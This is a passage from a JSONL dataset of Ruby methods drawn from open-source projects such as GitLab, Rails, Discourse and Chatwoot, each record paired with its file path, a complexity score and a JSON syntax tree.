str\",\"children\":[\"bar\"]},{\"type\":\"str\",\"children\":[\"2010-01-01T00:00:00.000Z\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"lvar\",\"children\":[\"exp\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"encryptor\"]},\"decrypt_and_verify\",{\"type\":\"lvar\",\"children\":[\"message\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"use_standard_json_time_format=\",{\"type\":\"lvar\",\"children\":[\"prev\"]}]}]}]}","id":"9dfb838b-c053-4064-883a-3ba8693575eb"}
{"repo_name":"discourse","file_path":"./repos/discourse/spec/services/user_merger_spec.rb","start_line":127,"raw_source":"def create_draft(user, key, text)\n      seq = DraftSequence.next!(user, key)\n      Draft.set(user, key, seq, text)\n    end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"create_draft\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]},{\"type\":\"arg\",\"children\":[\"key\"]},{\"type\":\"arg\",\"children\":[\"text\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"seq\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DraftSequence\"]},\"next!\",{\"type\":\"lvar\",\"children\":[\"user\"]},{\"type\":\"lvar\",\"children\":[\"key\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Draft\"]},\"set\",{\"type\":\"lvar\",\"children\":[\"user\"]},{\"type\":\"lvar\",\"children\":[\"key\"]},{\"type\":\"lvar\",\"children\":[\"seq\"]},{\"type\":\"lvar\",\"children\":[\"text\"]}]}]}]}","id":"bf37f32c-3f36-486f-9a04-703ebafe8fd2"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/state_note.rb","start_line":20,"raw_source":"def note_text(html: false)\n    if event.state == 'closed'\n      if event.close_after_error_tracking_resolve\n        return 'resolved the corresponding error and closed the issue'\n      end\n\n      if event.close_auto_resolve_prometheus_alert\n        return 'automatically closed this incident because the alert resolved'\n      end\n    end\n\n    return \"merged manually\" if event.state == 'merged' && event_source.is_a?(Commit)\n\n    body = event.state.dup\n    body << \" with #{event_source.gfm_reference(project)}\" if event_source\n    body\n  end","complexity_score":32.5,"ast_json":"{\"type\":\"def\",\"children\":[\"note_text\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"html\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"event\"]},\"state\"]},\"==\",{\"type\":\"str\",\"children\":[\"closed\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"event\"]},\"close_after_error_tracking_resolve\"]},{\"type\":\"return\",\"children\":[{\"type\":\"str\",\"children\":[\"resolved the corresponding error and closed the issue\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"event\"]},\"close_auto_resolve_prometheus_alert\"]},{\"type\":\"return\",\"children\":[{\"type\":\"str\",\"children\":[\"automatically closed this incident because the alert resolved\"]}]},null]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"event\"]},\"state\"]},\"==\",{\"type\":\"str\",\"children\":[\"merged\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"event_source\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Commit\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"str\",\"children\":[\"merged manually\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"body\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"event\"]},\"state\"]},\"dup\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"event_source\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"body\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\" with \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"event_source\"]},\"gfm_reference\",{\"type\":\"send\",\"children\":[null,\"project\"]}]}]}]}]},null]},{\"type\":\"lvar\",\"children\":[\"body\"]}]}]}","id":"3ddb9d24-82b7-494a-affc-7096fa87229c"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/commit.rb","start_line":229,"raw_source":"def diff_line_count\n    @diff_line_count ||= Commit.diff_line_count(raw_diffs)\n    @diff_line_count\n  end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"diff_line_count\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@diff_line_count\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Commit\"]},\"diff_line_count\",{\"type\":\"send\",\"children\":[null,\"raw_diffs\"]}]}]},{\"type\":\"ivar\",\"children\":[\"@diff_line_count\"]}]}]}","id":"18620789-ad54-4ede-b486-61c2e06bde49"}
{"repo_name":"rails","file_path":"./repos/rails/tools/rail_inspector/test/rail_inspector/configuring/check/new_framework_defaults_file_test.rb","start_line":19,"raw_source":"def test_identifies_self_when_file_uses_configuration\n    defaults = [\"self.log_file_size\"]\n\n    check(defaults, <<~FILE).check\n    ###\n    # You must apply this in config/application.rb\n    # Rails.configuration.log_file_size = 100 * 1024 * 1024\n    FILE\n\n    assert_empty checker.errors\n  end","complexity_score":6.8,"ast_json":"{\"type\":\"def\",\"children\":[\"test_identifies_self_when_file_uses_configuration\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"defaults\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"self.log_file_size\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"check\",{\"type\":\"lvar\",\"children\":[\"defaults\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"###\\n\"]},{\"type\":\"str\",\"children\":[\"# You must apply this in config/application.rb\\n\"]},{\"type\":\"str\",\"children\":[\"# Rails.configuration.log_file_size = 100 * 1024 * 1024\\n\"]}]}]},\"check\"]},{\"type\":\"send\",\"children\":[null,\"assert_empty\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"checker\"]},\"errors\"]}]}]}]}","id":"afb0439b-1ab3-48e7-aa0f-351704a89f9a"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/helpers/application_helper.rb","start_line":307,"raw_source":"def conditional_link_to(condition, options, html_options = {}, &block)\n    if condition\n      link_to options, html_options, &block\n    else\n      capture(&block)\n    end\n  end","complexity_score":6.8,"ast_json":"{\"type\":\"def\",\"children\":[\"conditional_link_to\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"condition\"]},{\"type\":\"arg\",\"children\":[\"options\"]},{\"type\":\"optarg\",\"children\":[\"html_options\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"condition\"]},{\"type\":\"send\",\"children\":[null,\"link_to\",{\"type\":\"lvar\",\"children\":[\"options\"]},{\"type\":\"lvar\",\"children\":[\"html_options\"]},{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]}]}]},{\"type\":\"send\",\"children\":[null,\"capture\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]}]}]}]}]}","id":"11d78e70-fad3-4789-8eb8-cd4f9c82cb9b"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/mailers/conversation_reply_mailer_helper.rb","start_line":89,"raw_source":"def set_delivery_method\n    return unless @inbox.inbox_type == 'Email' && @channel.smtp_enabled\n\n    smtp_settings = {\n      address: @channel.smtp_address,\n      port: @channel.smtp_port,\n      user_name: @channel.smtp_login,\n      password: @channel.smtp_password,\n      domain: @channel.smtp_domain,\n      tls: @channel.smtp_enable_ssl_tls,\n      enable_starttls_auto: @channel.smtp_enable_starttls_auto,\n      openssl_verify_mode: @channel.smtp_openssl_verify_mode,\n      authentication: @channel.smtp_authentication\n    }\n\n    @options[:delivery_method] = :smtp\n    @options[:delivery_method_options] = smtp_settings\n  end","complexity_score":17.5,"ast_json":"{\"type\":\"def\",\"children\":[\"set_delivery_method\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@inbox\"]},\"inbox_type\"]},\"==\",{\"type\":\"str\",\"children\":[\"Email\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@channel\"]},\"smtp_enabled\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"smtp_settings\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"address\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@channel\"]},\"smtp_address\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"port\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@channel\"]},\"smtp_port\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@channel\"]},\"smtp_login\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"password\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@channel\"]},\"smtp_password\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"domain\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@channel\"]},\"smtp_domain\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"tls\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@channel\"]},\"smtp_enable_ssl_tls\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"enable_starttls_auto\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@channel\"]},\"smtp_enable_starttls_auto\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"openssl_verify_mode\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@channel\"]},\"smtp_openssl_verify_mode\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"authentication\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@channel\"]},\"smtp_authentication\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@options\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"delivery_method\"]},{\"type\":\"sym\",\"children\":[\"smtp\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@options\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"delivery_method_options\"]},{\"type\":\"lvar\",\"children\":[\"smtp_settings\"]}]}]}]}","id":"b72fe71b-c0fb-4715-b34c-354b2820d107"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/finders/concerns/finder_methods.rb","start_line":45,"raw_source":"def can_read_object?(object)\n    # When there's no policy, we'll allow the read, this is for example the case\n    # for Todos\n    return true unless DeclarativePolicy.has_policy?(object)\n\n    Ability.allowed?(current_user, :\"read_#{to_ability_name(object)}\", object)\n  end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"can_read_object?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"object\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DeclarativePolicy\"]},\"has_policy?\",{\"type\":\"lvar\",\"children\":[\"object\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Ability\"]},\"allowed?\",{\"type\":\"send\",\"children\":[null,\"current_user\"]},{\"type\":\"dsym\",\"children\":[{\"type\":\"str\",\"children\":[\"read_\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"to_ability_name\",{\"type\":\"lvar\",\"children\":[\"object\"]}]}]}]},{\"type\":\"lvar\",\"children\":[\"object\"]}]}]}]}","id":"b6092bbe-c414-4980-a5ae-53b0bc84c1a3"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/connection_adapters/sqlite3_adapter.rb","start_line":815,"raw_source":"def table_structure_sql(table_name, column_names = nil)\n          unless column_names\n            column_info = table_info(table_name)\n            column_names = column_info.map { |column| column[\"name\"] }\n          end\n\n          sql = <<~SQL\n            SELECT sql FROM\n              (SELECT * FROM sqlite_master UNION ALL\n               SELECT * FROM sqlite_temp_master)\n            WHERE type = 'table' AND name = #{quote(table_name)}\n          SQL\n\n          # Result will have following sample string\n          # CREATE TABLE \"users\" (\"id\" INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL,\n          #                       \"password_digest\" varchar COLLATE \"NOCASE\",\n          #                       \"o_id\" integer,\n          #                       CONSTRAINT \"fk_rails_78146ddd2e\" FOREIGN KEY (\"o_id\") REFERENCES \"os\" (\"id\"));\n          result = query_value(sql, \"SCHEMA\")\n\n          return [] unless result\n\n          # Splitting with left parentheses and discarding the first part will return all\n          # columns separated with comma(,).\n          result.partition(UNQUOTED_OPEN_PARENS_REGEX)\n                .last\n                .sub(FINAL_CLOSE_PARENS_REGEX, \"\")\n                # column definitions can have a comma in them, so split on commas followed\n                # by a space and a column name in quotes or followed by the keyword CONSTRAINT\n                .split(/,(?=\\s(?:CONSTRAINT|\"(?:#{Regexp.union(column_names).source})\"))/i)\n                .map(&:strip)\n        end","complexity_score":25.5,"ast_json":"{\"type\":\"def\",\"children\":[\"table_structure_sql\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"table_name\"]},{\"type\":\"optarg\",\"children\":[\"column_names\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"column_names\"]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"column_info\",{\"type\":\"send\",\"children\":[null,\"table_info\",{\"type\":\"lvar\",\"children\":[\"table_name\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"column_names\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"column_info\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"column\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"column\"]},\"[]\",{\"type\":\"str\",\"children\":[\"name\"]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"sql\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"SELECT sql FROM\\n\"]},{\"type\":\"str\",\"children\":[\"  (SELECT * FROM sqlite_master UNION ALL\\n\"]},{\"type\":\"str\",\"children\":[\"   SELECT * FROM sqlite_temp_master)\\n\"]},{\"type\":\"str\",\"children\":[\"WHERE type = 'table' AND name = \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"quote\",{\"type\":\"lvar\",\"children\":[\"table_name\"]}]}]},{\"type\":\"str\",\"children\":[\"\\n\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"send\",\"children\":[null,\"query_value\",{\"type\":\"lvar\",\"children\":[\"sql\"]},{\"type\":\"str\",\"children\":[\"SCHEMA\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"array\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"partition\",{\"type\":\"const\",\"children\":[null,\"UNQUOTED_OPEN_PARENS_REGEX\"]}]},\"last\"]},\"sub\",{\"type\":\"const\",\"children\":[null,\"FINAL_CLOSE_PARENS_REGEX\"]},{\"type\":\"str\",\"children\":[\"\"]}]},\"split\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\",(?=\\\\s(?:CONSTRAINT|\\\"(?:\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Regexp\"]},\"union\",{\"type\":\"lvar\",\"children\":[\"column_names\"]}]},\"source\"]}]},{\"type\":\"str\",\"children\":[\")\\\"))\"]},{\"type\":\"regopt\",\"children\":[\"i\"]}]}]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"strip\"]}]}]}]}]}","id":"1240ea29-0b4a-4ab0-a2af-e3eac3e650cc"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/services/notifications/create_from_model_service.rb","start_line":224,"raw_source":"def settings_of_prioritized\n    return NotificationSetting.none unless !journal.initial? && journal.details.has_key?(:priority_id)\n\n    project_applicable_settings(User.all,\n                                project,\n                                NotificationSetting::WORK_PACKAGE_PRIORITIZED)\n  end","complexity_score":14.3,"ast_json":"{\"type\":\"def\",\"children\":[\"settings_of_prioritized\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"journal\"]},\"initial?\"]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"journal\"]},\"details\"]},\"has_key?\",{\"type\":\"sym\",\"children\":[\"priority_id\"]}]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"NotificationSetting\"]},\"none\"]}]}]},{\"type\":\"send\",\"children\":[null,\"project_applicable_settings\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"all\"]},{\"type\":\"send\",\"children\":[null,\"project\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"NotificationSetting\"]},\"WORK_PACKAGE_PRIORITIZED\"]}]}]}]}","id":"9db31386-4d3f-4903-93a9-0a47455e8cc4"}
{"repo_name":"tty","file_path":"./repos/tty/spec/spec_helper.rb","start_line":34,"raw_source":"def dir_path(*args)\n      path = File.join(gem_root, *args)\n      FileUtils.mkdir_p(path)\n      File.realpath(path)\n    end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"dir_path\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"args\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"path\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"send\",\"children\":[null,\"gem_root\"]},{\"type\":\"splat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FileUtils\"]},\"mkdir_p\",{\"type\":\"lvar\",\"children\":[\"path\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"realpath\",{\"type\":\"lvar\",\"children\":[\"path\"]}]}]}]}","id":"693b28de-e288-452e-b6fa-b08acbb6ace4"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/controllers/api/v1/accounts/contacts_controller.rb","start_line":64,"raw_source":"def filter\n    result = ::Contacts::FilterService.new(Current.account, Current.user, params.permit!).perform\n    contacts = result[:contacts]\n    @contacts_count = result[:count]\n    @contacts = fetch_contacts(contacts)\n  rescue CustomExceptions::CustomFilter::InvalidAttribute,\n         CustomExceptions::CustomFilter::InvalidOperator,\n         CustomExceptions::CustomFilter::InvalidQueryOperator,\n         CustomExceptions::CustomFilter::InvalidValue => e\n    render_could_not_create_error(e.message)\n  end","complexity_score":22.1,"ast_json":"{\"type\":\"def\",\"children\":[\"filter\",{\"type\":\"args\",\"children\":[]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Contacts\"]},\"FilterService\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Current\"]},\"account\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Current\"]},\"user\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"permit!\"]}]},\"perform\"]}]},{\"type\":\"lvasgn\",\"children\":[\"contacts\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"contacts\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@contacts_count\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"count\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@contacts\",{\"type\":\"send\",\"children\":[null,\"fetch_contacts\",{\"type\":\"lvar\",\"children\":[\"contacts\"]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CustomExceptions\"]},\"CustomFilter\"]},\"InvalidAttribute\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CustomExceptions\"]},\"CustomFilter\"]},\"InvalidOperator\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CustomExceptions\"]},\"CustomFilter\"]},\"InvalidQueryOperator\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CustomExceptions\"]},\"CustomFilter\"]},\"InvalidValue\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"send\",\"children\":[null,\"render_could_not_create_error\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"message\"]}]}]},null]}]}","id":"fcc9c10a-5553-4e82-b947-c1b441b0e237"}
{"repo_name":"forem","file_path":"./repos/forem/app/helpers/admin_helper.rb","start_line":14,"raw_source":"def dom_safe_name(group_name)\n    group_name.gsub(/\\s+|\\./, \"_\").gsub(/\\A(\\d)/, '_\\1')\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"dom_safe_name\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"group_name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"group_name\"]},\"gsub\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\s+|\\\\.\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"str\",\"children\":[\"_\"]}]},\"gsub\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\A(\\\\d)\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"str\",\"children\":[\"_\\\\1\"]}]}]}","id":"bc59dfc0-b83e-4812-a993-a9322af415a2"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/ci/runner_tagging.rb","start_line":40,"raw_source":"def set_runner_type\n      self.runner_type = runner.runner_type\n    end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"set_runner_type\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"runner_type=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"runner\"]},\"runner_type\"]}]}]}","id":"766764a2-3d3c-494f-af7f-d47b334e3c23"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/chat/app/serializers/chat/message_serializer.rb","start_line":207,"raw_source":"def include_thread_id?\n      channel_object.threading_enabled || object.thread&.force\n    end","complexity_score":7.5,"ast_json":"{\"type\":\"def\",\"children\":[\"include_thread_id?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"channel_object\"]},\"threading_enabled\"]},{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"thread\"]},\"force\"]}]}]}","id":"6828400e-5241-41e2-86f4-3b96a2fd5701"}
{"repo_name":"liquid","file_path":"./repos/liquid/lib/liquid/standardfilters.rb","start_line":999,"raw_source":"def raise_property_error(property)\n      raise Liquid::ArgumentError, \"cannot select the property '#{Utils.to_s(property)}'\"\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"raise_property_error\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"property\"]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Liquid\"]},\"ArgumentError\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"cannot select the property '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Utils\"]},\"to_s\",{\"type\":\"lvar\",\"children\":[\"property\"]}]}]},{\"type\":\"str\",\"children\":[\"'\"]}]}]}]}","id":"60e27760-9ff5-420b-9192-a02a30d9707d"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/policies/base_policy.rb","start_line":155,"raw_source":"def admin_mode_required?\n    return false unless @user&.admin?\n    return false unless Gitlab::CurrentSettings.admin_mode\n\n    !Gitlab::Auth::CurrentUserMode.new(@user).admin_mode?\n  end","complexity_score":7.6,"ast_json":"{\"type\":\"def\",\"children\":[\"admin_mode_required?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@user\"]},\"admin?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"CurrentSettings\"]},\"admin_mode\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Auth\"]},\"CurrentUserMode\"]},\"new\",{\"type\":\"ivar\",\"children\":[\"@user\"]}]},\"admin_mode?\"]},\"!\"]}]}]}","id":"b68ebd32-3c50-4b65-92e5-91889504c202"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/controllers/privacy_controller.rb","start_line":8,"raw_source":"def show\n    expires_in(15.seconds, public: true, stale_while_revalidate: 30.seconds, stale_if_error: 1.day) unless user_signed_in?\n  end","complexity_score":8.13,"ast_json":"{\"type\":\"def\",\"children\":[\"show\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user_signed_in?\"]},null,{\"type\":\"send\",\"children\":[null,\"expires_in\",{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[15]},\"seconds\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"public\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"stale_while_revalidate\"]},{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[30]},\"seconds\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"stale_if_error\"]},{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[1]},\"day\"]}]}]}]}]}]}","id":"4eab32a2-19bb-41c4-aff8-72e54d6e326d"}
